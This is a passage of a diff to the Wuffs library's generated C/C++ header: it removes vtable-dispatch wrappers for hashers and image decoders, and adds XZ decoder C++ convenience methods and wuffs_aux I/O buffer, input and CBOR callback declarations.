return wuffs_base__make_empty_struct(); +- } ++ struct { ++ uint32_t v_checksum32_have; ++ uint32_t v_checksum32_want; ++ wuffs_base__bitvec256 v_checksum256_have; ++ uint64_t v_compressed_size; ++ uint64_t v_uncompressed_size; ++ uint64_t scratch; ++ } s_do_transform_io; ++ struct { ++ uint64_t v_padded_size_have; ++ uint64_t v_padded_size_want; ++ } s_decode_block_header_with_padding; ++ struct { ++ uint8_t v_flags; ++ uint8_t v_filter_id; ++ uint32_t v_shift; ++ uint32_t v_f; ++ uint64_t scratch; ++ } s_decode_block_header_sans_padding; ++ struct { ++ uint32_t v_shift; ++ } s_verify_index; ++ struct { ++ uint64_t scratch; ++ } s_verify_footer; ++ } private_data; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { +- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->update)(self, a_x); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; + +- return wuffs_base__make_empty_struct(); +-} ++ // On failure, the alloc_etc functions return nullptr. They don't throw. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_base__hasher_u32__update_u32( +- wuffs_base__hasher_u32* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return 0; +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_xz__decoder__alloc()); + } + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { +- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->update_u32)(self, a_x); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; ++ static inline wuffs_base__io_transformer::unique_ptr ++ alloc_as__wuffs_base__io_transformer() { ++ return wuffs_base__io_transformer::unique_ptr( ++ wuffs_xz__decoder__alloc_as__wuffs_base__io_transformer()); + } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +- return 0; +-} ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_xz__decoder__struct() = delete; ++ wuffs_xz__decoder__struct(const wuffs_xz__decoder__struct&) = delete; ++ wuffs_xz__decoder__struct& operator=( ++ const wuffs_xz__decoder__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + +-// -------- ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__hasher_u64__checksum_u64( +- const wuffs_base__hasher_u64* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_xz__decoder__initialize( ++ this, sizeof_star_self, wuffs_version, options); + } + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { +- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->checksum_u64)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; ++ inline wuffs_base__io_transformer* ++ upcast_as__wuffs_base__io_transformer() { ++ return (wuffs_base__io_transformer*)this; + } + +- return 0; +-} +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__hasher_u64__get_quirk( +- const wuffs_base__hasher_u64* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_xz__decoder__get_quirk(this, a_key); + } + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { +- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->get_quirk)(self, a_key); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_xz__decoder__set_quirk(this, a_key, a_value); + } + +- return 0; +-} +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__hasher_u64__set_quirk( +- wuffs_base__hasher_u64* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_xz__decoder__dst_history_retain_length(this); + } + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { +- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_quirk)(self, a_key, a_value); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_xz__decoder__workbuf_len(this); + } + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_base__hasher_u64__update( +- wuffs_base__hasher_u64* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ inline wuffs_base__status ++ transform_io( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ return wuffs_xz__decoder__transform_io(this, a_dst, a_src, a_workbuf); + } + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { +- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->update)(self, a_x); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#endif // __cplusplus ++}; // struct wuffs_xz__decoder__struct + +- return wuffs_base__make_empty_struct(); +-} ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__hasher_u64__update_u64( +- wuffs_base__hasher_u64* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return 0; +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; +- } ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) || defined(WUFFS_NONMONOLITHIC) + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { +- const wuffs_base__hasher_u64__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->update_u64)(self, a_x); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#if defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +- return 0; +-} ++// ---------------- Auxiliary - Base + +-// -------- ++// Auxiliary code is discussed at ++// https://github.com/google/wuffs/blob/main/doc/note/auxiliary-code.md + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__decode_frame( +- wuffs_base__image_decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++#include + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->decode_frame)(self, a_dst, a_src, a_blend, a_workbuf, a_opts); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#include ++#include + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++namespace wuffs_aux { + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__decode_frame_config( +- wuffs_base__image_decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++using IOBuffer = wuffs_base__io_buffer; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->decode_frame_config)(self, a_dst, a_src); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++// MemOwner represents ownership of some memory. Dynamically allocated memory ++// (e.g. from malloc or new) is typically paired with free or delete, invoked ++// when the std::unique_ptr is destroyed. Statically allocated memory might use ++// MemOwner(nullptr, &free), even if that statically allocated memory is not ++// nullptr, since calling free(nullptr) is a no-op. ++using MemOwner = std::unique_ptr; + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++using QuirkKeyValuePair = std::pair; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__decode_image_config( +- wuffs_base__image_decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++namespace sync_io { + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->decode_image_config)(self, a_dst, a_src); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++// -------- + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++// DynIOBuffer is an IOBuffer that is backed by a dynamically sized byte array. ++// It owns that backing array and will free it in its destructor. ++// ++// The array size can be explicitly extended (by calling the grow method) but, ++// unlike a C++ std::vector, there is no implicit extension (e.g. by calling ++// std::vector::insert) and its maximum size is capped by the max_incl ++// constructor argument. ++// ++// It contains an IOBuffer-typed field whose reader side provides access to ++// previously written bytes and whose writer side provides access to the ++// allocated but not-yet-written-to slack space. For Go programmers, this slack ++// space is roughly analogous to the s[len(s):cap(s)] space of a slice s. ++class DynIOBuffer { ++ public: ++ enum GrowResult { ++ OK = 0, ++ FailedMaxInclExceeded = 1, ++ FailedOutOfMemory = 2, ++ }; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_base__image_decoder__frame_dirty_rect( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } ++ // m_buf holds the dynamically sized byte array and its read/write indexes: ++ // - m_buf.meta.wi is roughly analogous to a Go slice's length. ++ // - m_buf.data.len is roughly analogous to a Go slice's capacity. It is ++ // also equal to the m_buf.data.ptr malloc/realloc size. ++ // ++ // Users should not modify the m_buf.data.ptr or m_buf.data.len fields (as ++ // they are conceptually private to this class), but they can modify the ++ // bytes referenced by that pointer-length pair (e.g. compactions). ++ IOBuffer m_buf; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->frame_dirty_rect)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // m_max_incl is an inclusive upper bound on the backing array size. ++ const uint64_t m_max_incl; + +- return wuffs_base__utility__empty_rect_ie_u32(); +-} ++ // Constructor and destructor. ++ explicit DynIOBuffer(uint64_t max_incl); ++ ~DynIOBuffer(); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__image_decoder__get_quirk( +- const wuffs_base__image_decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ // Drop frees the byte array and resets m_buf. The DynIOBuffer can still be ++ // used after a drop call. It just restarts from zero. ++ void drop(); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->get_quirk)(self, a_key); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // grow ensures that the byte array size is at least min_incl and at most ++ // max_incl. It returns FailedMaxInclExceeded if that would require ++ // allocating more than max_incl bytes, including the case where (min_incl > ++ // max_incl). It returns FailedOutOfMemory if memory allocation failed. ++ GrowResult grow(uint64_t min_incl); + +- return 0; +-} ++ private: ++ // Delete the copy and assign constructors. ++ DynIOBuffer(const DynIOBuffer&) = delete; ++ DynIOBuffer& operator=(const DynIOBuffer&) = delete; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__image_decoder__history_retain_length( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ static uint64_t round_up(uint64_t min_incl, uint64_t max_incl); ++}; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->history_retain_length)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++// -------- + +- return 0; +-} ++class Input { ++ public: ++ virtual ~Input(); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_base__image_decoder__num_animation_loops( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ virtual IOBuffer* BringsItsOwnIOBuffer(); ++ virtual std::string CopyIn(IOBuffer* dst) = 0; ++}; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->num_animation_loops)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++// -------- + +- return 0; +-} ++// FileInput is an Input that reads from a file source. ++// ++// It does not take responsibility for closing the file when done. ++class FileInput : public Input { ++ public: ++ FileInput(FILE* f); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__image_decoder__num_decoded_frame_configs( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ virtual std::string CopyIn(IOBuffer* dst); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->num_decoded_frame_configs)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ private: ++ FILE* m_f; + +- return 0; +-} ++ // Delete the copy and assign constructors. ++ FileInput(const FileInput&) = delete; ++ FileInput& operator=(const FileInput&) = delete; ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__image_decoder__num_decoded_frames( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++// -------- + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->num_decoded_frames)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++// MemoryInput is an Input that reads from an in-memory source. ++// ++// It does not take responsibility for freeing the memory when done. ++class MemoryInput : public Input { ++ public: ++ MemoryInput(const char* ptr, size_t len); ++ MemoryInput(const uint8_t* ptr, size_t len); + +- return 0; +-} ++ virtual IOBuffer* BringsItsOwnIOBuffer(); ++ virtual std::string CopyIn(IOBuffer* dst); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__restart_frame( +- wuffs_base__image_decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++ private: ++ IOBuffer m_io; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->restart_frame)(self, a_index, a_io_position); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // Delete the copy and assign constructors. ++ MemoryInput(const MemoryInput&) = delete; ++ MemoryInput& operator=(const MemoryInput&) = delete; ++}; + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++// -------- + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__set_quirk( +- wuffs_base__image_decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++} // namespace sync_io + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_quirk)(self, a_key, a_value); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++} // namespace wuffs_aux + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++// ---------------- Auxiliary - CBOR + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_base__image_decoder__set_report_metadata( +- wuffs_base__image_decoder* self, +- uint32_t a_fourcc, +- bool a_report) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); +- } ++namespace wuffs_aux { + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_report_metadata)(self, a_fourcc, a_report); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++struct DecodeCborResult { ++ DecodeCborResult(std::string&& error_message0, uint64_t cursor_position0); + +- return wuffs_base__make_empty_struct(); +-} ++ std::string error_message; ++ uint64_t cursor_position; ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__image_decoder__tell_me_more( +- wuffs_base__image_decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++class DecodeCborCallbacks { ++ public: ++ virtual ~DecodeCborCallbacks(); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->tell_me_more)(self, a_dst, a_minfo, a_src); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // AppendXxx are called for leaf nodes: literals, numbers, strings, etc. + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ virtual std::string AppendNull() = 0; ++ virtual std::string AppendUndefined() = 0; ++ virtual std::string AppendBool(bool val) = 0; ++ virtual std::string AppendF64(double val) = 0; ++ virtual std::string AppendI64(int64_t val) = 0; ++ virtual std::string AppendU64(uint64_t val) = 0; ++ virtual std::string AppendByteString(std::string&& val) = 0; ++ virtual std::string AppendTextString(std::string&& val) = 0; ++ virtual std::string AppendMinus1MinusX(uint64_t val) = 0; ++ virtual std::string AppendCborSimpleValue(uint8_t val) = 0; ++ virtual std::string AppendCborTag(uint64_t val) = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_base__image_decoder__workbuf_len( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } ++ // Push and Pop are called for container nodes: CBOR arrays (lists) and CBOR ++ // maps (dictionaries). ++ // ++ // The flags bits combine exactly one of: ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT ++ // and exactly one of: ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->workbuf_len)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ virtual std::string Push(uint32_t flags) = 0; ++ virtual std::string Pop(uint32_t flags) = 0; + +- return wuffs_base__utility__empty_range_ii_u64(); +-} ++ // Done is always the last Callback method called by DecodeCbor, whether or ++ // not parsing the input as CBOR encountered an error. Even when successful, ++ // trailing data may remain in input and buffer. ++ // ++ // Do not keep a reference to buffer or buffer.data.ptr after Done returns, ++ // as DecodeCbor may then de-allocate the backing array. ++ // ++ // The default Done implementation is a no-op. ++ virtual void // ++ Done(DecodeCborResult& result, sync_io::Input& input, IOBuffer& buffer); ++}; + +-// -------- ++// The FooArgBar types add structure to Foo's optional arguments. They wrap ++// inner representations for several reasons: ++// - It provides a home for the DefaultValue static method, for Foo callers ++// that want to override some but not all optional arguments. ++// - It provides the "Bar" name at Foo call sites, which can help self- ++// document Foo calls with many arguemnts. ++// - It provides some type safety against accidentally transposing or omitting ++// adjacent fundamentally-numeric-typed optional arguments. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__io_transformer__get_quirk( +- const wuffs_base__io_transformer* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++// 